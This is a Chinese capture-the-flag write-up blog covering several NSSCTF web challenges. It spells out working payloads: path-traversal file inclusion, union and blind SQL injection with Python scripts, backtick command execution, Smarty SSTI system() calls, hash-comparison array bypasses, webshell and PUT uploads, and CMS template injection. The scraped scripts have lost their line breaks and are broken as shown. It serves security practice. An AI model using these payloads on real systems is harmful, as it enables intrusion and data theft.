当前位置: 首页 > news >正文

NSSCTF做题(6)

[HCTF 2018]Warmup

查看源代码得到

开始代码审计

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;//
page变量不存在或page变量不是字符串时返回false
            }

            if (in_array($page, $whitelist)) {
                return true;//
满足page变量在whitelist数组内返回true
            }

            $_page = mb_substr(//
截取page变量第一个?前的字符串
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }//白名单检查

            $_page = urldecode($page);//url解码
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );//二次截断
            if (in_array($_page, $whitelist)) {
                return true;
            }//白名单检查
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

##只有三个条件全部为true时才可触发
1. ! empty($_REQUEST['file'])
##条件1表示参数不为空时返回true
2. is_string($_REQUEST['file'])
##条件2表示参数为字符串时返回true
3. emmm::checkFile($_REQUEST['file'])
##条件3表示参数满足checkFile函数时返回true

php mb_strpos()函数详解 - 飞鸟慕鱼博客

满足经过两次?截断后仍能通过白名单检查,并且include正确路径,才输出flag。 

先看看hint.php

找到了flag的目录

构建payload: /source.php?file=hint.php?../../../../../../../../ffffllllaaaagggg

这段payload,checkfile检测传入的file的值,将file赋给page变量,首先白名单检测hint.php在白名单内返回真。

然后?截断在第一次截断的时候将file中的hint.php?../../../../../../../../ffffllllaaaagggg截断为hint.php并顺利通过第二次白名单检测。

接着是一次url解码,将page变量进行一次url解码。

注意  mb_strpos($_page . '?', '?')

这段代码,“$_page . '?',”,中的那个.是一个连接符,相当于在__page变量后加上一个?。于是这次同样截断剩下hint.php再次顺利通过白名单检测。最后满足3个if条件执行include语句。在包含的时候会把hint.php?/当成一层目录,然后构造../../向上遍历找到flag。

因为白名单有两个字符串所以把file里面的hint换成source也是一样能拿到flag。

即source.php?file=source.php?../../../../../../../../ffffllllaaaagggg可以达到相同的效果。

得到flag

[CISCN 2019华北Day2]Web1 

尝试注入发现了bool错误,应该属于是布尔盲注了

布尔盲注脚本:

import requests
import timeurl = "http://node2.anna.nssctf.cn:28326/index.php"
payload = {"id" : ""
}
result = ""
for i in range(1,100):l = 33r =130mid = (l+r)>>1while(l<r):# 跑库名#"0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{0},1))>{1})".format(i, mid)# 跑表名#"0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctf'),{0},1))>{1})".format(i, mid)# 跑列名#"0^" + "(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'f111'),{0},1))>{1})".format(i,mid)########################"0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)payload["id"] ="0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)html = requests.post(url,data=payload)print(payload)if "Hello" in html.text:l = mid+1else:r = midmid = (l+r)>>1if(chr(mid)==" "):breakresult = result + chr(mid)print(result)
print("flag: " ,result)

还有

import requests
import stringdef blind_sql(url):flag=''for num in range(1,60):     #flag一般不超过50个字符for i in string.printable:  #string.printable将给出所有的标点符号,数字,ascii_letters和空格payload='(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i)) #ord函数用来获取单个字符的ascii码post = {"id":payload}result = requests.post(url=url,data=post)   #提交post请求if 'Hello' in result.text:flag += i   #用flag接收盲注得到的结果print(flag) #打印结果else:continueprint(flag)if __name__ == '__main__':url='http://node4.anna.nssctf.cn:28304/index.php'blind_sql(url) 

得到flag

[羊城杯 2020]easycon 

点进去有点懵,看看访问一下首页

看到了提示,应该是一句话木马,用蚁剑连接

 连接成功

 看到有一个bbbbbbbbb.txt

下载下来看像是base64转图片,得到flag

[LitCTF 2023]这是什么?SQL !注一下 ! 

先找找他的闭合条件 

(((((('.$_GET["id"].'))))))

sql注入闭合方式-CSDN博客  推荐大家看这篇博客

应该是1')))))这样闭合

爆库名

?id=1)))))) union select 1, group_concat(schema_name)from information_schema.schemata --+ 

爆表名

?id=1)))))) union select 1, group_concat(table_name)from information_schema.tables where table_schema='ctftraining' --+ 

 

爆列名

?id=1)))))) union select 1, group_concat(column_name)from information_scheam.columns where table_name='flag' --+ 

 查字段,得到flag

?id=-1)))))) union select 1,flag from ctftraining.flag%23 

[UUCTF 2022 新生赛]ez_rce 

代码审计

第一次见这种题,无参数rce,找了两篇博客给大家参考

 https://www.cnblogs.com/pursue-security/p/15406272.html

无参数RCE-CSDN博客

eval() 函数把字符串按照 PHP 代码来计算

即,我们通过GET传入参数code,code可以是一些命令参数,但被过滤了许多。

现在的目标是绕过过滤,进入if从句

  • 没有过滤 “ \ ” ,因此构造:

 /?code=printf(`l\s /`);

 看到flag文件,直接查看

 /?code=printf(`c\at /fffffffffflagafag`);

 [HNCTF 2022 Week1]easy_html 

直接抓包,找到了一个页面 访问

 发现登录框有长度限制,长度改大就出来了flag

[GDOUCTF 2023]受不了一点 

 又是这个页面,访问index.php

找到源码开始审计

if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
    $b=$_POST['ctf'];
    $a=$_POST['gdou'];
    if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){//给上边这几个参数赋值,
关于md5强比较直接使用数组类型绕过即ctf[]=1&gdou[]=2
        if(isset($_COOKIE['cookie'])){
           if ($_COOKIE['cookie']=='j0k3r'){//
传入cookie使cookie的值等于j0k3r cookie=j0k3r
               if(isset($_GET['aaa']) && isset($_GET['bbb'])){
                  $aaa=$_GET['aaa'];
                  $bbb=$_GET['bbb'];//
让get方式传入参数aaa和bbb的值传就行了
               if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){这里进行绕过,在任意一个114514后加一个字母传参aaa=114514&bbb=114514a
                   $give = 'cancanwordflag';
                   $get ='hacker!';
                   if(isset($_GET['flag']) && isset($_POST['flag'])){
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                       die($get);//
这里选择任意一个传入flag的方式使用get,则flag的值在不断的遍历,对flag的值进行传递,输出flag构造:123=flag&flag=123
                    }
                    foreach ($_POST as $key => $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
 

最后构造的payload:

get:?aaa=114514&bbb=114514a&123=flag&flag=123

post: ctf[]=1&gdou[]=2

cookie: cookie=j0k3r

得到flag

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

代码审计,又遇到了substr()函数,php伪协议就ok

 

得到base64编码

还需要继续绕过

 

继续用这个协议,加上flag前面的目录就可以了

 

[NSSRound#1 Basic]basic_check

进去没东西,直接开扫

扫到了,进去看看

 

发现没东西。还是bp抓一下,还是没抓到东西

看大佬的wp才知道这个是put请求,还涉及到了一个没用过的软件 

Nikto安装和使用_nikto下载-CSDN博客Nikto 网页服务器扫描器_nikto扫描-CSDN博客

Nikto 网页服务器扫描器_nikto扫描-CSDN博客 

输入命令:nikto -h http://node4.anna.nssctf.cn:28806/

可以put请求文件上传

 

发现成功写入

命令执行得到flag

[HDCTF 2023]SearchMaster 

说是smarty模板,能想到的就是ssti注入

看到了提示说,你可以post传参给我一个data

确定了是ssti注入,用{if}{/if}尝试注入  data={if system('ls /')}{/if}

得到了flag文件 

继续得到flag

data={if system('cat /flag_13_searchmaster')}{/if} 

[鹤城杯 2021]Middle magic 

 又是代码审计

<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){

    $aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);

    if(preg_match('/pass_the_level_1#/', $aaa)){
        echo "here is level 2";
        
        if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
            if ($_POST['admin'] == $_POST['root_pwd'])
                echo '<p>The level 2 can not pass!</p>';
        // START FORM PROCESSING    
            else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
                echo "here is level 3,do you kown how to overcome it?";
                if (isset($_POST['level_3'])) {
                    $level_3 = json_decode($_POST['level_3']);
                    
                    if ($level_3->result == $result) {
                        
                        echo "success:".$flag;
                    }
                    else {
                        echo "you never beat me!";
                    }
                }
                else{
                    echo "out";
                }
            }
            else{
                
                die("no");
            }
        // perform validations on the form data
        }
        else{
            echo '<p>out!</p>';
        }

    }
    
    else{
        echo 'nonono!';
    }

    echo '<hr>';
}

?> 
 

 关键代码

 if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){
 $aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', 

$_GET['aaa']);
if(preg_match('/pass_the_level_1#/', $aaa)){//要求get传参aaa,让aaa=pass_the_level_1,但是level1会被替换成filtered
 echo "here is level 2";       if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])//post传参admin和root_pwd
   echo '<p>The level 2 can not pass!</p>';
  // START FORM PROCESSING    
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){//让这两个参数的sha1值相等

  echo "here is level 3,do you kown how to overcome it?";
  if (isset($_POST['level_3'])) {
  $level_3 = json_decode($_POST['level_3']);

if($level_3->result == $result) {//post传参level3,对其进行json_decode后,需要$level_3->result == $result              

 echo "success:".$flag;

深入了解PHP的json_decode()函数-PHP问题-PHP中文网 这篇详细介绍了json_decode

构造payload:

1.get传参aaa 

因为preg_replace函数只能匹配一行的数据,因此我们只需先传入换行符,那么后面的传入便不再被匹配

/?aaa=%0Apass_the_level_1%23(%0a和%23分别是换行符和井号键的url编码)

正则匹配单行模式(?s)下 ,.号将匹配所有字符,包括换行符;但默认情况下点号不匹配换行符,因此给了绕过(.*)的可能 

 2.post传参admin和root_pwd

我们利用数组绕过,具体原因是sha1加密时,若传入的是数组,返回值为null 

admin[]=1&root_pwd[]=2 

 3.//post传参level3,对其进行json_decode后,需要$level_3->result == $result

我们传入一个JSON格式的字符串,即 

level_3={"result":0}

 得到flag

 [HNCTF 2022 Week1]easy_upload

上传一句话木马,发现成功

 

连接蚁剑

得到flag

 

[SWPUCTF 2022 新生赛]奇妙的MD5 

 结合题目和页面提示想到了ffifdyop

 

 输入之后到了另外一个页面

查看源码,找到了需要审计的部分

没的说,数组绕过就结束了, ?x[]=1&y[]=2

到了下一个页面,md5强比较,因为他没有字符串的限制,所以还用数组就可以了

wqh[]=1&dsy[]=2 ,得到flag

 [GKCTF 2021]easycms

点什么都没反应,直接开扫

扫到了一个登录页面

 访问发现

 弱口令尝试登录(或者bp爆破)

试出来是admin/12345

进到后台发现 设计->主题 处可以编辑页面,支持php源代码,于是考虑插入php在网站页面爆出flag,随便找个地方,比如 头部 处写一个php试试

保存时出现如下提示: 

所以需要构造出这样一个文件,在 设计->组件->素材库 发现上传文件入口,先随便上传一个本地txt,根据先前编辑页面的路径,将上传到素材库的文件重命名为 ../../../../../system/tmp/udst 形成目录穿越。 

有了这个东西之后就可以尝试命令执行了

得到flag

第一次做这种题,cms都不知道是什么,记录两个

什么是CMS ,CMS 有哪些功能呢?|齿轮干货 - 知乎

CMS是什么意思-php教程-PHP中文网 

[HNCTF 2022 Week1]What is Web

有一个bp的下载链接,应该是和bp抓包有关的

页面显示,抓包看看

 没抓到什么,既然是给新手看的,那就在源码里找一下

最后还是找到了东西

解密得到flag

 

 

 

 

 

 

 

相关文章:

NSSCTF做题(6)

[HCTF 2018]Warmup 查看源代码得到 开始代码审计 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist ["source">"source.php","hint"…...

公众号商城小程序的作用是什么

公众号是微信平台重要的生态体系之一&#xff0c;它可以与其它体系连接实现多种效果&#xff0c;同时公众号内容创作者非常多&#xff0c;个人或企业商家等&#xff0c;会通过公众号分享信息或获得收益等&#xff0c;而当商家需要在微信做私域经营或想要转化粉丝、售卖产品时就…...

关于 FOCA

目录 注意团队成员成品官网项目社区 版本信息致谢 注意 此文章会随时更新&#xff0c;最好收藏起来&#xff0c;总对你有好处。我们不定时发布一些 IT 内容&#xff0c;所以请关注我们。 此账号为 FOCA 唯一的官方账号&#xff0c;请勿轻易相信其他账号所发布内容。 团队 全…...

TVP专家谈腾讯云 Cloud Studio:开启云端开发新篇章

导语 | 近日&#xff0c;由腾讯云 TVP 团队倾力打造的 TVP 吐槽大会第六期「腾讯云 Cloud Studio」专场圆满落幕&#xff0c;6 位资深的 TVP 专家深度体验腾讯云 Cloud Studio 产品&#xff0c;提出了直击痛点的意见与建议&#xff0c;同时也充分肯定了腾讯云 Cloud Studio 的实…...

2023-09-27 Cmake 编译 OpenCV+Contrib 源码通用设置

Cmake 编译 OpenCV 通用设置 特点&#xff1a; 包括 Contrib 模块关闭了 Example、Test、OpenCV_AppLinux、Windows 均只生成 OpenCV_World 需要注意&#xff1a; 每次把 Cmake 缓存清空&#xff0c;否则&#xff0c;Install 路径可能被设置为默认路径Windows 需要注意编译…...

ACGAN

CGAN通过在生成器和判别器中均使用标签信息进行训练&#xff0c;不仅能产生特定标签的数据&#xff0c;还能够提高生成数据的质量&#xff1b;SGAN&#xff08;Semi-Supervised GAN)通过使判别器/分类器重建标签信息来提高生成数据的质量。既然这两种思路都可以提高生成数据的质…...

模块化CSS

1、什么是模块化CSS 模块化CSS是一种将CSS样式表的规则和样式定义封装到模块或组件级别的方法&#xff0c;以便于更好地管理、维护和组织样式代码。这种方法通过将样式与特定的HTML元素或组件相关联&#xff0c;提供了一种更具可维护性、可复用性和隔离性的方式来处理样式。简单…...

意大利储能公司【Energy Dome】完成1500万欧元融资

来源&#xff1a;猛兽财经 作者&#xff1a;猛兽财经 猛兽财经获悉&#xff0c;总部位于意大利米兰的储能公司Energy Dome今日宣布已完成1500万欧元B轮融资。 本轮融资完成后&#xff0c;Energy Dome的融资总额已经达到了5500万欧元&#xff0c;本轮融资的参与者包括阿曼创新发…...

【Java 进阶篇】JDBC Connection详解:连接到数据库的关键

在Java中&#xff0c;要与数据库进行交互&#xff0c;需要使用Java数据库连接&#xff08;JDBC&#xff09;。JDBC允许您连接到不同类型的数据库&#xff0c;并执行SQL查询、插入、更新和删除操作。在JDBC中&#xff0c;连接数据库是一个重要的步骤&#xff0c;而Connection对象…...

vue-cli项目打包体积太大,服务器网速也拉胯(100kb/s),客户打开网站需要等十几秒!!! 尝试cdn优化方案

一、首先用插件webpack-bundle-analyzer查看自己各个包的体积 插件用法参考之前博客 vue-cli项目中&#xff0c;使用webpack-bundle-analyzer进行模块分析&#xff0c;查看各个模块的体积&#xff0c;方便后期代码优化 二、发现有几个插件体积较大&#xff0c;有改成CDN引用的…...

【优秀学员统计】python实现-附ChatGPT解析

1.题目 优秀学员统计 知识点排序统计编程基础 时间限制: 1s 空间限制: 256MB 限定语言:不限 题目描述: 公司某部门软件教导团正在组织新员工每日打卡学习活动,他们开展这项学习活动已经一个月了,所以想统计下这个月优秀的打卡员工。每个员工会对应一个id,每天的打卡记录记录…...

餐饮外卖配送小程序商城的作用是什么?

餐饮是支撑市场的主要行业之一&#xff0c;其市场规模很大&#xff0c;从业商家从大到小不计其数&#xff0c;对众商家来说&#xff0c;无论门店大小都希望不断生意增长&#xff0c;但在实际发展中却会面对不少痛点&#xff1b; 餐饮很适合线上经营&#xff0c;无论第三方外卖…...

【QT】使用toBase64方法将.txt文件的明文变为非明文(类似加密)

目录 0.环境 1.背景 2.详细代码 2.1 .h主要代码 2.2 .cpp主要代码&#xff0c;主要实现上述的四个方法 0.环境 windows 11 64位 Qt Creator 4.13.1 1.背景 项目需求&#xff1a;我们项目中有配置文件&#xff08;类似.txt&#xff0c;但不是这个格式&#xff0c;本文以…...

《QDebug 2023年9月》

一、Qt Widgets 问题交流 1.Qt 程序在 Windows 上以管理员权限运行时无法响应拖放&#xff08;Drop&#xff09; 无论是 Widget 还是 QML 程序&#xff0c;以管理员权限运行时&#xff0c;都无法响应拖放操作。可以右键管理员权限打开 Qt Creator&#xff0c;然后丢个文本文件…...

C++使用高斯模糊处理图像

C使用高斯模糊处理图像 cv::GaussianBlur 是 OpenCV 中用于对图像进行高斯模糊处理的函数。高斯模糊是一种常用的图像滤波方法&#xff0c;它可以减少图像中的噪声&#xff0c;并平滑图像以降低细节级别。 void cv::GaussianBlur(const cv::Mat& src, cv::Mat& dst, …...

多维时序 | MATLAB实现PSO-BP多变量时间序列预测(粒子群优化BP神经网络)

多维时序 | MATLAB实现PSO-BP多变量时间序列预测(粒子群优化BP神经网络) 目录 多维时序 | MATLAB实现PSO-BP多变量时间序列预测(粒子群优化BP神经网络)效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现PSO-BP粒子群优化BP神经网络多变量时间序列预测&#xff…...

LeetCode 283. 移动零

移动零 问题描述 LeetCode 283. 移动零 给定一个数组 nums&#xff0c;编写一个函数将所有 0 移动到数组的末尾&#xff0c;同时保持非零元素的相对顺序。 请注意&#xff0c;必须在不复制数组的情况下原地对数组进行操作。 解决思路 为了将所有 0 移动到数组的末尾&#…...

【数据结构】选择排序 堆排序(二)

目录 一&#xff0c;选择排序 1&#xff0c;基本思想 2&#xff0c; 基本思路 3&#xff0c;思路实现 二&#xff0c;堆排序 1&#xff0c;直接选择排序的特性总结&#xff1a; 2&#xff0c;思路实现 3&#xff0c;源代码 最后祝大家国庆快乐&#xff01; 一&#xf…...

opencv实现目标跟踪及视频转存

创建跟踪器 def createTypeTracker(trackerType): 读取视频第一帧&#xff0c;选择跟踪的目标 读第一帧。 ok, frame video.read() 选择边界框 bbox cv2.selectROI(frame, False) 初始化跟踪器 tracker_type ‘MIL’ tracker createTypeTracker(tracker_type) 用第一…...

R | R及Rstudio安装、运行环境变量及RStudio配置

R | R及Rstudio安装、运行环境变量及RStudio配置 一、介绍1.1 R介绍1.2 RStudio介绍 二、R安装2.1 演示电脑系统2.2 R下载2.3 R安装2.4 R语言运行环境设置&#xff08;环境变量&#xff09;2.4.1 目的2.4.2 R-CMD测试2.4.3 设置环境变量 2.5 R安装测试 三、RStudio安装3.1 RStu…...

智能回答机器人的“智能”体现在哪里?

人工智能的广泛应用已经成为当今社会科技发展的趋势之一。通过人工智能技术&#xff0c;我们可以在不同领域中实现自动化、智能化和高效化&#xff0c;从而大大提升生产和生活效率。智能回答机器人的出现和使用便能很好的证明这一点。今天我们就来探讨一下智能会打机器人的“智…...

多网卡场景数据包接收时ip匹配规则

多网卡场景数据包接收时ip匹配规则 mac地址匹配规则 接收数据包时数据包中的目的mac地址匹配接收网卡的mac地址后&#xff0c;数据包才会继续被传递到网络层处理 ip地址匹配规则 图1&#xff1a; 参见&#xff1a;https://zhuanlan.zhihu.com/p/529160026?utm_id0 图2&am…...

安防视频平台EasyCVR视频调阅全屏播放显示异常是什么原因?

安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快&#xff0c;可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等&#xff0c;以及支持厂家私有协议与SDK接入&#xff0c;包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安…...

1.5.C++项目:仿muduo库实现并发服务器之socket模块的设计

项目完整版在&#xff1a; 一、socket模块&#xff1a;套接字模块 二、提供的功能 Socket模块是对套接字操作封装的一个模块&#xff0c;主要实现的socket的各项操作。 socket 模块&#xff1a;套接字的功能 创建套接字 绑定地址信息 开始监听 向服务器发起连接 获取新连接 …...

whisper+剪映+chatgpt实现实时语音对话功能

whisper将录音文件转成文字---chatgpt回答---剪映tts将文字转成语言。 GitHub - openai/whisper: Robust Speech Recognition via Large-Scale Weak Supervision whisper剪映chatgpt实现实时语音对话功能_哔哩哔哩_bilibili...

ASUS华硕ZenBook 13灵耀U 2代U3300F笔记本UX333FN/FA原装出厂Win10系统工厂安装模式

系统自带所有驱动、出厂主题壁纸、系统属性华硕专属LOGO标志、Office办公软件、MyASUS华硕电脑管家等预装程序 下载链接&#xff1a;https://pan.baidu.com/s/1dK0vMZMECPlT63Rb6-jeFg?pwdbym5 所需要工具&#xff1a;16G或以上的U盘(非必需) 文件格式&#xff1a;HDI,SWP,O…...

前端面试的话术集锦第 21 篇博文——高频考点(设计模式)

这是记录前端面试的话术集锦第二十一篇博文——高频考点(设计模式),我会不断更新该博文。❗❗❗ 设计模式总的来说是一个抽象的概念,前人通过无数次的实践总结出的一套写代码的方式,通过这种方式写的代码可以让别人更加容易阅读、维护以及复用。 这一章节我们将来学习几…...

php实战案例记录(2)生成包含字母和数字但不重复的用户名

在PHP中&#xff0c;您可以使用以下代码生成不重复的10个用户名&#xff0c;每个用户名包含英文字母和数字&#xff1a; $generatedUsernames array(); // 存储生成的用户名while (count($generatedUsernames) < 10) {$username generateUsername();if (!in_array($usern…...

分类预测 | Matlab实现SSA-CNN-SVM麻雀算法优化卷积支持向量机分类预测

分类预测 | Matlab实现SSA-CNN-SVM麻雀算法优化卷积支持向量机分类预测 目录 分类预测 | Matlab实现SSA-CNN-SVM麻雀算法优化卷积支持向量机分类预测分类效果基本描述程序设计参考资料 分类效果 基本描述 1.Matlab实现SSA-CNN-SVM麻雀算法优化卷积支持向量机分类预测&#xff0…...

【ARMv8 SIMD和浮点指令编程】NEON 加载指令——如何将数据从内存搬到寄存器(其它指令)?

除了基础的 LDx 指令,还有 LDP、LDR 这些指令,我们也需要关注。 1 LDNP (SIMD&FP) 加载 SIMD&FP 寄存器对,带有非临时提示。该指令从内存加载一对 SIMD&FP 寄存器,向内存系统发出访问是非临时的提示。用于加载的地址是根据基址寄存器值和可选的立即偏移量计算…...

数字企业管理系统/漯河搜狗关键词优化排名软件

- 题目大意 输入几个单词&#xff0c;让你判断不同的单词有几个&#xff08;不必区分大小写&#xff09;。 - 解题思路 因为不区分大小写&#xff0c;所以现将单词换位统一格式&#xff0c;然后只需用set容器即可&#xff08;因为set中不会有重复的元素出现&#xff09;。 - 代…...

做网站的软件dw/免费建网站

PPP-C#conf tPPP-C(config)#vpdn enable //启用路由器的虚拟专用拨号网络---***d 由于ADSL的PPPoE应用是通过虚拟拨号来实现的所以在路由器中需要使用VPDN的功能PPP-C(config)#int e1/0 // 路由器内网接口PPP-C(config-if)#no shutPPP-C(config-if)#i…...

网站建设的构思/腾讯企业邮箱登录入口

一提到iPhone很自然而然的就会想到流畅&#xff0c;顺滑如斯&#xff0c;虽然近几年安卓手机也不卡&#xff0c;但是和iOS的流畅还是有很大差别的&#xff0c;说道这里使用安卓的小伙伴肯定会说&#xff0c;安卓现在比iOS都要流畅&#xff0c;安卓早已不是原来的安卓。但是我想…...

网站设计开发招聘/北大青鸟培训机构靠谱吗

最近搭建基础框架经常遇见这个error 我这里由于使用了友盟插件导致友盟截取了bug日志&#xff0c;crash日志没有打印出来&#xff0c;屏蔽友盟控件就可打印出crash日志。 出现这个错误我遇见了几种情况 1、从后缀看&#xff0c;是一个动态库&#xff0c;那么会不会是因为发…...

江苏网站建设官网/网站排名推广

一&#xff0c;按键的按下抬起等识别方法 void Update (){int key1 0;int key2 0;if (Input.GetKeyDown (KeyCode.A)){Debug.Log("A按下一次");} if (Input.GetKey (KeyCode.A)){//记录按下的帧数&#xff0c;判断特定按键按下不抬起key1;Debug.Log("A连按…...

广州市花都区网站建设公司/百度关键词搜索量查询

将Vim改造为强大的IDE—Vim集成Ctags/Taglist/Cscope/Winmanager/NERDTree/OmniCppComplete1、安装Vim和Vim基本插件 首先安装好Vim和Vim的基本插件。这些使用apt-get安装即可&#xff1a; lingdubuntu:~/arm$sudo apt-get install vim vim-scripts vim-doc 其中vim-scripts是v…...